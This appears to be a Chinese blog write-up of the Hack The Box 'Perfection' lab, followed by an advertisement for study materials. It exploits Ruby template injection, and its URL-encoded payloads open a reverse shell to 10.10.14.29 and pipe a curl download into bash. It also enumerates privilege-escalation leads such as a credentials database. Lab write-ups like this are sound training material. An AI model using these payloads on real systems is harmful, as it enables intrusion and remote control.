HTB靶场 Perfection(1)

访问 Perfection靶机的网站

是一个根据权重计算总成绩的网站

Wappalyzer查看网页用的什么编写搭建的

抓包看一下是怎么工作的

发送,,返回的结果

如果我在 类别 后面多加一句命令

就会出现提示  恶意输入阻止

大概率有命令注入

通过插件知道用的ruby语言

存在SSTI(模板注入漏洞)

SSTI (Server Side Template Injection) | HackTricks | HackTricks | HackTricks | HackTricks")

%0A是截断符号,它可以使bash在读取代码时读到这个符号时停止读取这一行的后续代码,取而代之的是接着执行后面的代码

在传参中url编码会自动忽略空格要用“+”来代替上述语句

将payload使用base64编码来进行嵌套,为了避免后面可能会有一些关键字过滤

url encode key characte编码

aaa%0A<%25%3d+File.open(‘/etc/passwd’).read+%25>

把<%= File.open(‘/etc/passwd’).read %> 选中右键选择Convert Selection选择url 选择url encode key character  就得到<%25%3d+File.open(‘/etc/passwd’).read+%25>

有一个susan用户

拿shell第一次失败,再次重试就成功了

<%= bash -c 'bash -i >& /dev/tcp/10.10.14.29/6666 0>&1' %>

-c 运行后边的字符串命令

bash -i (交互式) 启动一个交互式bash shell

& 将这个shell的标准输出和标准错误输出都重定向到 与IP地址10.10.14.29在端口6666上建立的TCP连接中
/dev/tcp打开这个文件就类似于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据,/dev/tcp/host/port 只要读取或者写入这个文件,相当于系统会尝试连接:host 这台机器,对应port端口

0标准输入 重定向 >& 1标准输出

把它url encode key character 得到

<%25%3d+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'+%25>

然后category1=

ingles%0A<%25%3d+bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.29/6666+0>%261'+%25>

拿到shell了

拿shell第二次失败

写个1.sh  内容为 
bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

开启http服务

python3 -m http.server 80

把<%= curl http://10.10.14.29/1.sh|bash %>编码
<%25%3d+curl+http://10.10.14.29/1.sh|bash+%25>

还是失败  状态码应该是504不是200

拿shell第三次失败

HTB靶机渗透之perfection(linux-easy)超详细!!!_webrick 1.7.0 漏洞-CSDN博客

在burp的 decoder模块编码

由于这个代码在输入网页后,发送到服务器前会被自动url编码,所以我们要对对应的字符手动进行url编码

%25对应的是%

aaa%0a<%25恶意代码%25>;

要让base64格式的payload能被正确在bash中读取,在linux系统中,我们可以通过echo来写入文件或是执行命令,然后调用base64 -d来解析payload,最后再用bash执行,“|”符号的作用就是分割语句

其余恶意代码=echo+[payload]|+base64±d+|+bash   (+表示空格)
总的 category1=

aaa%0a<%25=system("echo+payload|+base64±d+|+bash);%25>;

写一段反弹shell代码#!/bin/bash bash -i >& /dev/tcp/10.10.14.29/6666 0>&1

经过base64编码

拿到用户的flag

现在就要提权了

.sudo_as_admin_successful 我们只有读写,不能执行

ssh密钥登录没必要尝试

SSH 使用密钥远程登录_ssh用密钥登录-CSDN博客

接着看.ssh目录有2个文件(都可以读写)  ssh是密钥登录

authorized.keys是密钥对中的公钥

authorized_keys用于存储允许通过 SSH 访问特定用户帐户的公钥。当用户尝试通过 SSH 连接到服务器时,服务器会使用此文件中的公钥验证用户的身份

查看/etc/ssh/sshd_config

PubkeyAuthentication  yes表示允许密钥访问

susan服务器生成密钥对ssh-keygen

服务器安装公钥 cat id_rsa.pub >> authorized_keys

私钥./id_rsa拷贝到客户端

然后我觉得就算登录成功,ssh依然是susan的shell

换思路

sudo -l  列出当前用户可以执行的sudo命令   执行不了sudo需要密码

查找具有suid的权限

-type f 仅查找文件

有fusermount3  查看版本fusermount3 --version
fusermount3 version: 3.10.5

fusermount3没有漏洞可以利用

查找.txt、.db、.sql、.dump文件

寻找和password有关的文件 grep -i password -R

grep是文本搜索工具 -i不区分大小写 -R递归搜索,查找目录下的所有子目录

find / -name “*.db” -type f 2>/dev/nul

/home/susan/Migration/pupilpath_credentials.db是数据库文件

靶机上虽然有sqlite3 但是不会显示任何内容

试试 创造一个交互式shell

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

img

img

img

img

img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

w9Se6gf-1715489783007)]

[外链图片转存中…(img-jzrERj5U-1715489783007)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值